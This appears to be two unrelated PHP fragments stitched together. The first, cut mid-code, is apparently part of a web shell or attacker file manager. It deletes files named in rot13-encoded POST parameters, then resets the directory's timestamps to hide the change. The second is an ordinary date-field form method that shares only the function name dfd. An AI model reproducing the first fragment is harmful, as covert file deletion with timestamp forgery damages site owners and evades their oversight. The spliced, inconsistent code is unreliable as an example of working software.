{ $p = str_rot13($p); $s = @stat(dirname($p)); if (@is_dir($p)) { dd($p); } else { @unlink($p); } @touch(dirname($p), $s[9], $s[8]); } if (isset($_POST['fda']) && !empty($_POST['fc'])) { foreach ($_POST['fc'] as $f) { dfd($f); } } elseif (!empty($_POST['fd'])) { dfd($_POST['fd']); } } elseif (!empty($_POST['fm']) || isset($_POST['fma'])) { function aml($p) { $p = str_rot13($p); if (!empty($_SESSION['MO'][$p])) { unset($_SESSION['MO'][$p]); } else { if (!empty($_SESSION['CO'][$p])) { unset($_SESSION['CO'][$p]); } $_SESSION['MO'][$p] = 1; } } if (isset($_POST['fma']) && !empty($_POST['fc'])) {
function makeFormPart() { $sublabel = ''; # Create a message giving the minimum and maximum, since input masks don't give us any way # of preventing the user from entering values outside a specific range. # In the future, it might be better to use a "proper" (calendar-style) datepicker. # It might also be good to use HTML5 date/time input types, but this might create issues # with cross-browser compatibility if input masks are used at the same time. if (isset($this->max) && isset($this->min)) { $sublabel = 'Please provide a date between ' . dfd($this->min) . ' and ' . dfd($this->max) . '.'; } else { if (isset($this->max)) { $sublabel = 'Please provide a date no later than ' . dfd($this->max) . '.'; } else { if (isset($this->min)) { $sublabel = 'Please provide a date no earlier than ' . dfd($this->min) . '.'; } } } return new InputFormPart($this, 'text', 'calendar', " 'alias': 'mm/dd/yyyy' ", $sublabel); }